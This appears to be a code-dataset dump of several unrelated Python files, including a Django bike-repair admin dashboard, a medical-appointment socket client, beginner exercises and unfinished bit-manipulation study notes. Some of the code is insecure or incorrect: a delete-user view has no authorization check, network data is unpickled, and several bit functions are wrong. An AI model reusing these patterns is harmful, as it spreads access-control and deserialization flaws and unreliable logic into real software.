details\n data.img = img\n data.line_price = line_price\n data.count = count\n data.save()\n msg = \"Your Plane Has Been Updated !\"\n return redirect('plan')\n else:\n data = PlanName.objects.get(id=id)\n data.title = title\n data.pricing = pricing\n data.details = details\n data.line_price = line_price\n data.count = count\n data.save()\n msg = \"Your Plane Has Been Updated !\"\n return redirect('plan')\n\n except Exception as E:\n msg = E\n return render(request, 'addplan.html', {'msg': msg})\n return render(request, 'addplan.html', {'plans': plans})\n\n\ndef updateactive(request, id):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plans = get_object_or_404(PlanName, id=id)\n status = \"inactive\"\n data = PlanName.objects.get(id=id)\n data.status = status\n data.save()\n return redirect('plan')\n\n\ndef updateinactive(request, id):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plans = get_object_or_404(PlanName, id=id)\n status = \"active\"\n data = PlanName.objects.get(id=id)\n data.status = status\n data.save()\n return redirect('plan')\n\n\ndef deleteplan(request, id):\n if not request.user.plan_user and not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(PlanName, id=id)\n instance.delete()\n return redirect('plan')\n\n\ndef review(request):\n if not request.user.customer_review_user and not request.user.is_superuser:\n return redirect('login_attempt')\n\n rev = ClientReview.objects.all()\n data = request.GET.get('data')\n if data == \"approved\":\n rev = rev.filter(status=data)\n if data == \"disapproved\":\n rev = rev.filter(status=data)\n return render(request, 'review.html', {'rev': rev})\n\n\ndef approvedreview(request, id):\n if not request.user.customer_review_user and not request.user.is_superuser:\n return redirect('login_attempt')\n update = get_object_or_404(ClientReview, id=id)\n status = \"approved\"\n instance = ClientReview.objects.get(id=id)\n instance.status = status\n instance.save()\n return redirect('review')\n\n\ndef deletereview(request, id):\n if not request.user.customer_review_user and not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(ClientReview, id=id)\n instance.delete()\n return redirect('review')\n\n\ndef mechanic_list(request):\n if not request.user.mechanic_user and not request.user.is_superuser:\n return redirect('login_attempt')\n ml = Mechanic.objects.all()\n return render(request, 'mechanic_list.html', {'ml': ml})\n\n\ndef mechanice(request):\n if not request.user.mechanic_user and not request.user.is_superuser:\n return redirect('login_attempt')\n try:\n if request.method == 'POST':\n name = request.POST.get('name', None)\n profile = request.POST.get('profile', None)\n email = request.POST.get('email', None)\n price = request.POST.get('price', None)\n experiance = request.POST.get('experiance', None)\n number = request.POST.get('number', None)\n img = request.FILES.get('img', None)\n aadhar = request.POST.get('aadhar', None)\n front_aadhar = request.FILES.get('front_aadhar', None)\n back_aadhar = request.FILES.get('back_aadhar', None)\n pancard = request.FILES.get('pancard', None)\n resume = request.FILES.get('resume', None)\n qualifications = request.POST.get('qualifications', None)\n skills = request.POST.get('skills', None)\n date_of_birth = request.POST.get('date_of_birth', None)\n blood_group = request.POST.get('blood_group', None)\n if int(number) == 10:\n msg = \"Fill Correct Mobile No.\"\n return render(request, 'addmechanic.html', {\"msg\": msg})\n data = Mechanic.objects.create(name=name, profile=profile, email=email, price=price, experiance=experiance,\n aadhar=aadhar, front_aadhar=front_aadhar, resume=resume, back_aadhar=back_aadhar,\n qualifications=qualifications, pancard=pancard, date_of_birth=date_of_birth,\n skills=skills, blood_group=blood_group,\n number=number, img=img)\n data.save()\n msg = \"Your Detail Has Been Submitted !!\"\n return redirect('mechanic_list')\n except Exception as E:\n return render(request, 'addmechanic.html', {'msg':E})\n\n return render(request, 'addmechanic.html')\n\n\ndef deletemechanic(request, id):\n if not request.user.mechanic_user and not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(Mechanic, id=id)\n instance.delete()\n return redirect('mechanic_list')\n\n\ndef updatemechanic(request, id):\n if not request.user.mechanic_user and not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(Mechanic, id=id)\n try:\n if request.method == 'POST':\n name = request.POST.get('name', None)\n profile = request.POST.get('profile', None)\n email = request.POST.get('email', None)\n price = request.POST.get('price', None)\n experiance = request.POST.get('experiance', None)\n number = request.POST.get('number', None)\n img = request.FILES.get('img')\n aadhar = request.POST.get('aadhar', None)\n front_aadhar = request.FILES.get('front_aadhar')\n back_aadhar = request.FILES.get('back_aadhar')\n pancard = request.FILES.get('pancard')\n resume = request.FILES.get('resume')\n qualifications = request.POST.get('qualifications', None)\n skills = request.POST.get('skills', None)\n date_of_birth = request.POST.get('date_of_birth', None)\n blood_group = request.POST.get('blood_group', None)\n if int(number) == 10:\n msg = \"Fill Correct Mobile No.\"\n return render(request, 'addmechanic.html', {\"msg\": msg})\n data = Mechanic.objects.get(id=id)\n data.name = name\n data.profile = profile\n data.email = email\n data.price = price\n data.experiance = experiance\n data.number = number\n data.img = img\n data.aadhar = aadhar\n data.front_aadhar = front_aadhar\n data.back_aadhar = back_aadhar\n data.pancard = pancard\n data.resume = resume\n data.qualifications = qualifications\n data.skills = skills\n data.date_of_birth = date_of_birth\n data.blood_group = blood_group\n data.save()\n return redirect('mechanic_list')\n except Exception as E:\n return render(request, 'addmechanic.html', {'msg':E})\n return render(request, 'addmechanic.html', {'instance': instance})\n\n\ndef viewmechanic(request, id):\n if not request.user.mechanic_user and not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(Mechanic, id=id)\n return render(request, 'mechanic.html', {'instance': instance})\n\n\ndef booking_leads(request):\n if not request.user.booking_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plane = Order.objects.filter(isPaid=True).order_by('-id')\n if request.method == 'POST':\n data = request.POST.get('data')\n plane = Order.objects.filter(\n Q(user__phone__icontains=data) | Q(user__email__icontains=data) | Q(user__fname__icontains=data))\n return render(request, 'booking_leads.html', {'plane': plane})\n return render(request, 'booking_leads.html', {'plane': plane})\n\n\ndef deactivate_booking_leads(request):\n if not request.user.booking_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plane = Order.objects.filter(isPaid=False).order_by('-id')\n if request.method == 'POST':\n data = request.POST.get('data')\n plane = Order.objects.filter(\n Q(user__phone__icontains=data) | Q(user__email__icontains=data) | Q(user__fname__icontains=data))\n return render(request, 'booking_leads.html', {'plane': plane})\n return render(request, 'booking_leads.html', {'plane': plane})\n\n\ndef booking_details(request, id):\n if not request.user.booking_user and not request.user.is_superuser:\n return redirect('login_attempt')\n order = Order.objects.get(id=id)\n mechnic = Mechanic.objects.all()\n return render(request, 'booking-details.html', {'order': order, 'mechnic': mechnic})\n\n\ndef addservice(request, id):\n order = Order.objects.get(id=id)\n if order.isPaid:\n if order.service_types == 'onetime' or order.service_types == 'monthly':\n order.isPaid = False\n order.count -= 1\n order.save()\n value = Service.objects.create(user=order.user, order=order, bike=order.bookingdetails,\n brand=order.bookingdetails.brand,\n count=order.count,\n princing=order.order_amount, name=order.user.fname,\n username=order.user.phone,\n plan_title=order.plane_name.title)\n value.save()\n\n msg = \"One Time Are Completed!\"\n return redirect('booking_leads')\n elif order.service_types == \"yearly\":\n\n order.count -= 1\n order.save()\n if order.count == 0:\n order.isPaid = False\n order.save()\n value = Service.objects.create(user=order.user, order=order, bike=order.bookingdetails,\n brand=order.bookingdetails.brand,\n count=order.count,\n princing=order.order_amount, name=order.user.fname,\n username=order.user.phone,\n plan_title=order.plane_name.title)\n\n value.save()\n msg = \"Service Order Are Completed\"\n return redirect('booking_leads')\n else:\n msg = \"Something Went Wrong\"\n return render(request, 'booking_leads.html', {'msg': msg})\n else:\n msg = \"Not Valid your Service ! Repayment Booking\"\n return render(request, 'booking_leads.html', {'msg': msg})\n\n\ndef user_profile(request):\n if not request.user.service_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plane = User.objects.all()\n if request.method == 'POST':\n data = request.POST.get('data')\n plane = User.objects.filter(Q(phone__icontains=data) | Q(fname__icontains=data) | Q(email__icontains=data))\n return render(request, 'user_profile.html', {'plane': plane})\n return render(request, 'user_profile.html', {'plane': plane})\n\n\ndef user_history(request, id):\n if not request.user.service_user and not request.user.is_superuser:\n return redirect('login_attempt')\n plane = User.objects.get(id=id)\n return render(request, 'user-history.html', {'plane': plane})\n\n\ndef support(request):\n if not request.user.support_user and not request.user.is_superuser:\n return redirect('login_attempt')\n sup = Support.objects.all()\n cls = ClientSupport.objects.all()\n return render(request, 'support.html', {'sup': sup, 'cls': cls})\n\n\ndef editsupport(request, id):\n if not request.user.support_user and not request.user.is_superuser:\n return redirect('login_attempt')\n cls = get_object_or_404(ClientSupport, id=id)\n if request.method == 'POST':\n name = request.POST.get('name')\n contact = request.POST.get('contact')\n txt = request.POST.get('txt')\n cls = ClientSupport.objects.get(id=id)\n cls.name = name\n cls.contact = contact\n cls.txt = txt\n cls.save()\n return redirect('support')\n return render(request, 'editsupport.html', {'cls': cls})\n\n\ndef account(request):\n if not request.user.account_user and not request.user.is_superuser:\n return redirect('login_attempt')\n bc = BillCreate.objects.all().order_by('-id')\n if request.method == 'POST':\n pass\n return render(request, 'account.html', {'ords': bc})\n\n\ndef create_bill(request):\n if not request.user.account_user and not request.user.is_superuser:\n return redirect('login_attempt')\n ords = Order.objects.all()\n if request.method == 'POST':\n\n bill_name = request.POST.get(\"bill_name\", None)\n bill_company = request.POST.get(\"bill_company\", None)\n bill_address = request.POST.get(\"bill_address\", None)\n bill_pincode = request.POST.get(\"bill_pincode\", None)\n bill_phone = request.POST.get(\"bill_phone\", None)\n total_service = request.POST.get(\"total_service\", None)\n tax = request.POST.get(\"tax\", None)\n igst = request.POST.get(\"igst\", None)\n sgst = request.POST.get(\"sgst\", None)\n cgst = request.POST.get(\"cgst\", None)\n txt = request.POST.get(\"txt\", None)\n ship_name = request.POST.get('ship_name', None)\n ship_address = request.POST.get('ship_address', None)\n ship_pincode = request.POST.get('ship_pincode', None)\n ship_phone = request.POST.get('ship_phone', None)\n ship_gst = request.POST.get('ship_gst', None)\n item = request.POST.getlist('item')\n print(item)\n # item_name = request.POST.get('item_name', None)\n # item_unit = request.POST.get('item_unit', None)\n # item_quantity = request.POST.get('item_quantity', None)\n # item_rate = request.POST.get('item_rate', None)\n # if ship_gst is not None:\n # ship = int(((int(item_unit) * int(item_quantity)) * int(ship_gst)) / 100)\n # total = ship + int(total_service)\n # total = total\n data = BillCreate.objects.create(bill_name=bill_name, bill_company=bill_company, bill_address=bill_address,\n bill_pincode=bill_pincode, bill_phone=bill_phone, total_service=total_service,\n tax=tax, igst=igst, sgst=sgst, cgst=cgst, total=0, txt=txt,\n ship_name=ship_name, ship_address=ship_address, ship_pincode=ship_pincode,\n ship_phone=ship_phone, ship_gst=ship_gst)\n\n # Create Item objects and associate them with the BillCreate instance\n # items = Item.objects.filter(id__in=item)\n items = []\n for item_id in item:\n itm = Item.objects.create(id=int(item_id))\n items.append(itm)\n\n data.item.set(items)\n\n data.save()\n return redirect('account')\n # else: total = total_service data = BillCreate.objects.create(bill_name=bill_name,\n # bill_company=bill_company, bill_address=bill_address , bill_pincode=bill_pincode, bill_phone=bill_phone,\n # total_service=total_service, tax=tax, igst=igst, sgst=sgst, cgst=cgst, total=total, txt=txt,\n # ship_name=ship_name, ship_address=ship_address, ship_pincode=ship_pincode, ship_phone=ship_phone,\n # ship_gst=ship_gst, item_name=item_name, item_unit=item_unit, item_quantity=item_quantity,\n # item_rate=item_rate) data.save() return redirect('account')\n\n return render(request, 'create-bill.html', {'ords': ords})\n\n\ndef view_bill(request, id):\n if not request.user.account_user and not request.user.is_superuser:\n return redirect('login_attempt')\n invoice = BillCreate.objects.get(id=id)\n return render(request, 'view-bill.html', {'invoice': invoice})\n\n\ndef faq(request):\n if not request.user.faq_user and not request.user.is_superuser:\n return redirect('login_attempt')\n if request.method == 'POST':\n question = request.POST.get('question')\n answer = request.POST.get('answer')\n data = FQA.objects.create(question=question, answer=answer)\n data.save()\n msg = \"FQA is Added Successfully !!\"\n return render(request, 'addfaq.html', {'msg': msg})\n return render(request, 'addfaq.html')\n\n\ndef banner(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n ban = AddBanner.objects.all()\n return render(request, 'banner.html', {'ban': ban})\n\n\ndef add_banner(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n if request.method == \"POST\":\n title = request.POST.get('title')\n priority = request.POST.get('priority')\n img = request.FILES['img']\n data = AddBanner.objects.create(title=title, priority=priority, img=img)\n data.save()\n msg = \"Your Banner Added Successfully !!\"\n return render(request, 'add-banner.html', {'msg': msg})\n return render(request, 'add-banner.html')\n\n\ndef delete_banner(request, pk):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n instance = AddBanner.objects.get(pk=pk)\n instance.delete()\n msg = \"Your Images is Deleted !\"\n return render(request, 'banner.html', {'msg': msg})\n\n\ndef offer_banner(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n offban = AddOfferBanner.objects.all()\n return render(request, 'offer-banner.html', {'offban': offban})\n\n\ndef add_offer_banner(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n if request.method == \"POST\":\n title = request.POST.get('title')\n priority = request.POST.get('priority')\n img = request.FILES['img']\n data = AddOfferBanner.objects.create(title=title, priority=priority, img=img)\n data.save()\n msg = \"Your Banner Added Successfully !!\"\n return render(request, 'add-offer-banner.html', {'msg': msg})\n return render(request, 'add-offer-banner.html')\n\n\ndef delete_offer_banner(request, pk):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n instance = AddOfferBanner.objects.get(pk=pk)\n instance.delete()\n msg = \"Your Images is Deleted !\"\n return render(request, 'offer-banner.html', {'msg': msg})\n\n\ndef changeusername(request):\n if not request.user.is_authenticated:\n return redirect('login_attempt')\n if request.method == 'POST':\n old_phone = request.POST.get('old_phone')\n new_phone = request.POST.get('new_phone')\n user = User.objects.get(phone=request.user.phone)\n if user.phone == old_phone:\n user.phone = new_phone\n user.save()\n return redirect('login_attempt')\n return render(request, 'changeusername.html')\n\n\ndef changepassword(request):\n if not request.user.is_authenticated:\n return redirect('login_attempt')\n if request.method == 'POST':\n old_password = request.POST.get('old_password')\n new_password = request.POST.get('new_password')\n user = User.objects.get(phone=request.user.phone)\n if user.check_password(old_password):\n user.set_password(new_password)\n user.save()\n return redirect('login_attempt')\n return render(request, 'changepassword.html')\n\n\ndef userlist(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n user_list = User.objects.all()\n return render(request, 'userlist.html', {'user_list': user_list})\n\n\ndef createuser(request):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n try:\n if request.method == 'POST':\n fname = request.POST.get('fname')\n email = request.POST.get('email')\n password = request.POST.get('password')\n phone = request.POST.get('phone')\n\n data = User.objects.create(phone=phone, email=email, fname=fname)\n data.set_password(password)\n data.save()\n return redirect('userlist')\n except Exception as E:\n return render(request, 'createuser.html', {'msg': E})\n return render(request, 'createuser.html')\n\n\ndef updateuser(request, id):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n data = get_object_or_404(User, id=id)\n try:\n if request.method == 'POST':\n plan_user = request.POST.get('plan_user')\n booking_user = request.POST.get('booking_user')\n service_user = request.POST.get('service_user')\n mechanic_user = request.POST.get('mechanic_user')\n customer_review_user = request.POST.get('customer_review_user')\n faq_user = request.POST.get('faq_user')\n support_user = request.POST.get('support_user')\n account_user = request.POST.get('account_user')\n data.plan_user = plan_user\n data.booking_user = booking_user\n data.service_user = service_user\n data.mechanic_user = mechanic_user\n data.customer_review_user = customer_review_user\n data.faq_user = faq_user\n data.support_user = support_user\n data.account_user = account_user\n data.save()\n return redirect('userlist')\n except Exception as E:\n return render(request, 'updateuser.html', {'msg': E})\n return render(request, 'updateuser.html', {'data': data})\n\n\ndef viewuser(request, id):\n if not request.user.is_superuser:\n return redirect('login_attempt')\n instance = get_object_or_404(User, id=id)\n return render(request, 'viewuser.html', {'instance': instance})\n\n\ndef deleteuser(request, id):\n instance = get_object_or_404(User, id=id)\n instance.delete()\n return redirect('userlist')\n\n\ndef demo(request):\n return render(request, 'demo.html')","repo_name":"infinixsys/BikeRepair","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":28799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73208524675","text":"'''\r\ngame to ask basic math questions\r\nbase component\r\nv1 - set up the skeleton of the program\r\nv2 - calling functions (tested, and it works)\r\n'''\r\n\r\n# Import library\r\n\r\n# Functions\r\n\r\n\r\n# Getting the shape name and make sure it is not blank\r\ndef not_blank(question):\r\n valid = False\r\n\r\n while not valid:\r\n response = input(question)\r\n\r\n if response !=\"\":\r\n return response\r\n else:\r\n print(\"Sorry, this can't be blank. \"\r\n \"Please enter a shape name!\")\r\n\r\n\r\n# Check if integer is valid (must be positive whole numbers)\r\ndef int_checker():\r\n print(\"placeholder\")\r\n\r\n\r\n# String checker\r\ndef string_checker(list_of_allowable):\r\n print(\"place holder\")\r\n\r\n\r\n# Square function\r\ndef square():\r\n print(\"square\")\r\n\r\n\r\n# Triangle function\r\ndef triangle():\r\n print(\"triangle\")\r\n\r\n\r\n# Rectangle function\r\ndef rectangle():\r\n print(\"rectangle\")\r\n\r\n\r\n# Circle function\r\ndef circle():\r\n print(\"circle\")\r\n\r\n\r\n# Set up lists and constants\r\n\r\n# Main routine\r\n\r\n\r\n# initialised loop so that it runs at least once\r\nshape = \"\"\r\ncount = 0\r\nMAX_SHAPES = 5\r\n\r\nwhile shape != \"xxx\" and count < MAX_SHAPES:\r\n\r\n # Get details...\r\n shape = not_blank(\"Shape: \")\r\n # Get shape name and print shape that is chosen\r\n if shape == \"square\":\r\n square()\r\n elif shape == \"triangle\":\r\n triangle()\r\n elif shape == \"rectangle\":\r\n rectangle()\r\n elif shape == \"circle\":\r\n circle()\r\n elif \"xxx\":\r\n break\r\n else:\r\n print(\"Invalid\")\r\n count += 1\r\n\r\n# Get dimensions of shape\r\n\r\n# Calculations\r\n\r\n# Print Area and Perimeter of shape\r\n","repo_name":"maryann-map/Area-Perimeter","sub_path":"00_Area_Peri_Base_v2.py","file_name":"00_Area_Peri_Base_v2.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6626918808","text":"from django.contrib import admin\nfrom tweety.models import Post\nfrom tweety.models import User\n\nadmin.site.register(User)\n\nclass UserInline(admin.TabularInline):\n model = User\n \n\nclass PostAdmin(admin.ModelAdmin):\n fieldsets = [\n (None, {'fields': ['title']}),\n ('Content', {'fields': ['body']}),\n ('Date information', {'fields': ['pub_date']}),\n ('Username', {'fields': ['user']}),\n ('Popularity', {'fields': ['likes'], 'classes': ['collapse']}),\n ]\n list_display = ('title', 'body', 'pub_date', 'likes', 'was_published_recently', 'user')\n list_filter = ['pub_date']\n search_fields = ['title']\n date_hierarchy = 'pub_date'\nadmin.site.register(Post, PostAdmin)\n\n","repo_name":"Fibiola/Koala","sub_path":"tweety/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72669108993","text":"import math\n\n\"\"\"\n\nWhile bit manipulation is a very important topic, I chose to move on to\nthe more complex questions for now.\n\nTODO return to this chapter and implement the solutions\n\n\"\"\"\n\n\"\"\"\n\nQ 5.1\n\nThe strategy I employ is:\n\nif N = xxxxxxx\nif M = yyy\nif j = 5\nif i = 3\n\n\t\txxxxxxx\n\t&\t1100011\n\t============\na =\t\txx000xx\nm =\t\t yyy00\n\n\t \txx000xx\n\t|\t yyy00\n\t============\n\t\txxyyyxx\n\"\"\"\n\ndef five_point_one(n, m, i, j):\n\tall_ones = 0 ^ 0\n\n\tall_ones << (j-i+1)\n\tfor x in range(i):\n\t\tall_ones << 1\n\t\tall_ones = all_ones & 1\n\ta = n & all_ones\n\tm = m << (i)\n\treturn bin(m | n)\n\n\"\"\"\n\nQ 5.2\n\nAdmittedly, I'm not too sure of when it's impossible to represent a decimal number in binary.\n\nI tried it for all sorts of ridiculous values and it was fine.\n\nEither way, simply divide the problem into left-of-decimal and right-of-decimal and\nproceed accordingly.\n\n\"\"\"\n\n\ndef five_point_two(num):\n\tn = num // 1\n\thigh_bit = math.ceil(math.log(n, 2))\n\thigh_bit = pow(2, high_bit)\n\tleft_of_dec = []\n\tright_of_dec = []\n\td = num % 1\n\twhile high_bit > 1:\n\t\tif n >= high_bit:\n\t\t\tn -= high_bit\n\t\t\tleft_of_dec.append(\"1\")\n\t\telse:\n\t\t\tleft_of_dec.append(\"0\")\n\t\thigh_bit = high_bit/2\n\tleft_of_dec.append(\"1\" if n == 1 else \"0\")\n\ti = 1\n\twhile d > 0:\n\t\tif d >= pow(2, (0-i)):\n\t\t\td -= pow(2, (0-i))\n\t\t\tright_of_dec.append(\"1\")\n\t\telse:\n\t\t\tright_of_dec.append(\"0\")\n\t\ti +=1\n\tif d < 0:\n\t\treturn False\n\treturn \".\".join([\"\".join(left_of_dec), \"\".join(right_of_dec)])\n\n\n\"\"\"\n\nQ 5.3\n\nFirst, count the number of 1 bits.\n\n\t101011\n\tnext-largest \t= 101110\n\tnext-smallest \t= 100111 \n\n\nTODO Return to this -.-\n\n\"\"\"\n\ndef five_point_three(num):\n\tn = num\n\tnum_ones = 0\n\tnext_smallest = num\n\tnext_largest = num\n\twhile n > 1:\n\t\tif n % 2:\n\t\t\tnum_ones += 1\n\t\tn = n // 2\n\tn += (1 if n % 2 else 0)\n\t#if number is even, next-smallest will just be\n\tif not (num % 2):\n\t\tnext_smallest = next_smallest >> 2\n\t\tnext_smallest = next_smallest << 2\n\t\tnext_smallest = next_smallest & 1\n\n\t#if number is odd, next-smallest will be\n\t#find the first 10 pair, and flip them\n\n\n\"\"\"\n\nQ 5.4\n\n0101 && 0100 == 0100 != 0\n1010 && 1001 == 1000 != 0\n1111 && 1110 == 1110 != 0 False\n0001 && 0000 == 0000 == 0\n0010 && 0001 == 0000 == 0\n0100 && 0011 == 0000 == 0\n1011 && 1010 == 1010 != 0\n\nSo, it would appear that what it does is return true if there is only one \nbit in a number n set as 1.\n\n\"\"\"\n\n\"\"\"\n\nQ 5.5\n\nThis one is sort of similar to 5.2.\n\nIt's also similar to the common greedy 'what is the minimum number of coins required'\nquestion. Basically, start with the max value of a number as long as a in binary\nsee if subtracting it from a would be larger than b, if so, add one to your running total\nand subtract it. Otherwise, move on to the next-smaller value\n\n\"\"\"\n\ndef five_point_five(a, b):\n\thigh_bit = math.ceil(math.log(a, 2))\n\t# should return upper bound of a in binary\n\thigh_bit = pow(2, high_bit)\n\tn = a\n\tx = 0\n\twhile high_bit > 1:\n\t\tif (n - high_bit) > b:\n\t\t\tn = n-high_bit\n\t\t\tx += 1\n\t\thigh_bit = high_bit // 2\n\tif n != b:\n\t\treturn x + 1\n\treturn x\n\n\n\"\"\"\n\nQ 5.6\n\nUh.... a << 1?\n\n010100\n101000\n\nBasically, for each pair, we have two options\n00 ==> 00\n01 ==> 10\n10 ==> 01\n11 ==> 11\n\n00 ^ 11 == 11\n01 ^ 11 == 10\n10 ^ 11 == 01\n11 ^ 11 == 00\n\nThere's gotta be a trick here >.<\n\n\"\"\"\n\n\n\n\"\"\"\n\nQ 5.7\n\nYep - Add together the number of times you see a 1 in a particular position j\n\n000\n010\n110\n001\n101\n011\n111\n= [3, 4, 4]\nso it would appear that we're missing a one in the Most Significant bit\nTherefore the missing number is 100, which it is!\n\n\"\"\"\n\ndef five_point_seven(a):\n\tarr = []\n\ti = 0\n\twhile i < len(a):\n\t\tfor j in range(len(a[i])):\n\t\t\tif i == 0:\n\t\t\t\tarr.append(a[i][j])\n\t\t\telse:\n\t\t\t\tif a[i][j] == 1:\n\t\t\t\t\tarr[j] += 1\n\t\ti += 1\n\tret = []\n\tfor i in arr:\n\t\tif i == len(a)/2:\n\t\t\tret.append(0)\n\t\telse:\n\t\t\tret.append(1)\n\treturn \"\".join(ret)\n\n\n\n\n\n\n\n\n\n\n","repo_name":"devonmeyer/recruit_me","sub_path":"bit_manipulation.py","file_name":"bit_manipulation.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43666185108","text":"'''\nCreated on 2020/05/30\n\n@author: ChiamingMike\n'''\n\nfrom engine_factory.logger.Log import log\nfrom engine_factory.engine.JPEngine import JPEngine\nfrom engine_factory.engine.USEngine import USEngine\n\n\nclass EngineSwitch(object):\n JAPAN = 'JAPAN'\n TAIWAN = 'TAIWAN'\n US = 'US'\n\n def __init__(self) -> None:\n \"\"\"\n \"\"\"\n\n return None\n\n def switching_engine_to(self, country: str) -> None:\n \"\"\"\n \"\"\"\n if country == self.JAPAN:\n\n log.i('Switching country to JAPAN...')\n log.i('')\n\n jp_engine = JPEngine()\n jp_engine.calcualte_data()\n\n elif country == self.TAIWAN:\n log.i('Switching country to TAIWAN...')\n log.i('')\n\n elif country == self.US:\n log.i('Switching country to US...')\n log.i('')\n\n us_engine = USEngine()\n us_engine.calcualte_data()\n\n else:\n log.i('Unexcepted country.')\n log.i('')\n\n return None\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"ChiamingMike/Stock_Search_Engine","sub_path":"engine_factory/Engine_switch.py","file_name":"Engine_switch.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32790512418","text":"def transform(loopSize, subject):\n value = 1\n for __ in range(loopSize):\n value = (value * subject) % 20201227\n return value\n\na,b = [line.strip() for line in open('in/25.txt')]\na,b = int(a), int(b)\n\nloop = None\nvalue = 1\ni = 1\nwhile loop == None:\n value = (value * 7) % 20201227\n if value == a: loop = i\n else: i += 1\n\nkey = transform(loop, b)\nprint('part1:', key)\nprint('part2: freebie')","repo_name":"sleeplessghost/AdventOfCode2020","sub_path":"25.py","file_name":"25.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33908153615","text":"import socket\nimport pickle\n\n# Configuração do cliente\nHOST = '127.0.0.1'\nPORT = 12345\n\n# Dicionário de especialidades e números correspondentes\nespecialidades_dict = {\n 1: \"Oftalmologista\",\n 2: \"Patologista\",\n 3: \"Clínico Geral\",\n}\n\ndef send_request(request):\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_socket.connect((HOST, PORT))\n client_socket.send(pickle.dumps(request))\n return client_socket\n0\nif __name__ == '__main__':\n while True:\n action = input(\"Escolha uma ação:\\n1. Marcar consulta\\n2. Listar consultas por paciente\\n3. Sair\\nOpção: \")\n if action == '1':\n paciente = input(\"Nome do paciente: \")\n print(\"Especialidades:\")\n for num, especialidade in especialidades_dict.items():\n print(f\"{num}. {especialidade}\")\n especialidade_num = int(input(\"Escolha o número da especialidade desejada: \"))\n if especialidade_num not in especialidades_dict:\n print(\"Especialidade inválida.\")\n continue\n data = input(\"Data da consulta: \")\n request = {\n \"action\": \"marcar_consulta\",\n \"paciente\": paciente,\n \"especialidade\": especialidade_num, \n \"data\": data\n }\n client_socket = send_request(request)\n response = client_socket.recv(1024)\n response_data = pickle.loads(response)\n print(response_data['message'])\n client_socket.close()\n elif action == '2':\n paciente = input(\"Nome do paciente para consulta: \")\n request = {\n \"action\": \"consultar_consultas\",\n \"paciente\": paciente\n }\n client_socket = send_request(request)\n response = client_socket.recv(1024)\n response_data = pickle.loads(response)\n consultas_paciente = response_data.get('consultas', [])\n if consultas_paciente:\n print(\"Consultas do paciente:\")\n for consulta in consultas_paciente:\n print(f\"Paciente: {consulta['paciente']}, Especialidade: {consulta['especialidade']}, Data: {consulta['data']}\")\n else:\n print(\"Nenhuma consulta encontrada para o paciente.\")\n client_socket.close()\n elif action == '3':\n break\n","repo_name":"brunoalves0921/SD","sub_path":"Questão 3/TRABALHO ANTIGO/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39995844196","text":"cesta = dict({'Produtos': [], 'Preços': [], 'Quantidade': []})\r\ntotal = 0\r\nbarato = [0, '']\r\nac = 0\r\nprint('=' * (len(' Lojinho do Seu Zé') + 2))\r\nprint(' Lojinho do Seu Zé')\r\nprint('=' * (len(' Lojinho do Seu Zé') + 2))\r\nwhile True:\r\n produto = input('Digite o nome do produto: ').strip().capitalize()\r\n while True:\r\n preco = input('Digite o preço desse produto: R$ ').strip()\r\n quanti = input('Quantos desse produto: ').strip()\r\n try:\r\n preco = float(preco)\r\n quanti = int(quanti)\r\n break\r\n except ValueError:\r\n print('Digite apenas números.')\r\n print()\r\n cesta['Produtos'].append(produto)\r\n cesta['Preços'].append(preco)\r\n cesta['Quantidade'].append(quanti)\r\n print('Produto adicionado à cesta')\r\n print('=' * 100)\r\n cont = 'p'\r\n while cont not in 'NnSs':\r\n cont = input('Deseja adicionar mais produtos? (S/N)').strip().upper()[0]\r\n if cont in 'Nn':\r\n print('Encerra...')\r\n break\r\n print('=' * 100)\r\nprint('=' * 100)\r\nfor i in range(0, len(cesta['Produtos']), 1):\r\n if i == 0 or cesta['Preços'][i] < barato[0]:\r\n barato[0] = cesta['Preços'][i]\r\n barato[1] = cesta['Produtos'][i]\r\n if cesta['Preços'][i] > 1000:\r\n ac += 1\r\n total += (cesta['Preços'][i] * cesta['Quantidade'][i])\r\n print(f'Produto: {cesta[\"Produtos\"][i]}')\r\n print(f'Preço: R${cesta[\"Preços\"][i]:.2f}')\r\n print(f'Quantidade: {cesta[\"Quantidade\"][i]}')\r\nprint('=' * 100)\r\nprint(f'Preço total da compra: R${total:.2f}')\r\nprint(f'Produto mais barato: {barato[1]}')\r\nprint(f'Preço: 